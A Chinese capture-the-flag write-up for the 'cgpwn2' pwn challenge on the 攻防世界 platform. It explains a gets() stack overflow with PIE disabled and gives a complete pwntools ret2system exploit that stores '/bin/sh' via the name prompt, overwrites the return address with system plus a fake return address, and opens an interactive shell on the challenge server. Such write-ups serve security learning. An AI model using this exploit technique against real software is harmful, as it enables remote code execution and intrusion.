攻防世界 cgpwn2

    科技2022-07-10  253

    1.题目

    2.IDA反汇编C程序

     

     

    3.流程分析

     首先提示输入名字,然后提示输入一段信息,程序就结束了。很简单的流程,gets方法也存在明显的溢出。但是目前为止没有找到我们想要的flag。在方法区看到有pwn方法,点进去一看,额。。

    没有找到可以直接利用的源程序方法,那就只能自己构造了。 可以看到方法区中是有system方法的。所以我们只需要构造它的的参数:“cat flag”.

    PIE没有开,我们可以直接利用输入名字把参数存进去。下面是exp

    from pwn import * #sh = process('./cgpwn2') sh = remote('220.249.52.133', 31578) sh.recvuntil('please tell me your name\n') elf = ELF('./cgpwn2') sh.sendline('/bin/sh\x00') sh.recvuntil('hello,you can leave some message here:\n') payload = 'a' * 0x2a + p32(elf.symbols['system'])+'a' * 4 + p32(0x0804A080) sh.send(payload) sh.interactive()

     这里有个点需要注意,address_system后面需要加上address_ret(返回地址)。为什么呢?回忆一下调用函数的过程:1.将函数参数入栈;2.调用call方法调用函数,这个call方法做了两件事,①将返回地址入栈;②跳转到被调用函数执行;3.被调用函数将rbp入栈,然后rbp=rsp,rsp = rsp - xxx.

    注意到,我们直接利用address_system覆盖返回地址,进而直接调用system方法,没有利用call方法调用system方法,所以我们需要自己完成call方法做的事情:返回地址入栈。所以address_system后面需要加上address_ret(返回地址),然后才是system方法的参数。

     

    Processed: 0.052, SQL: 8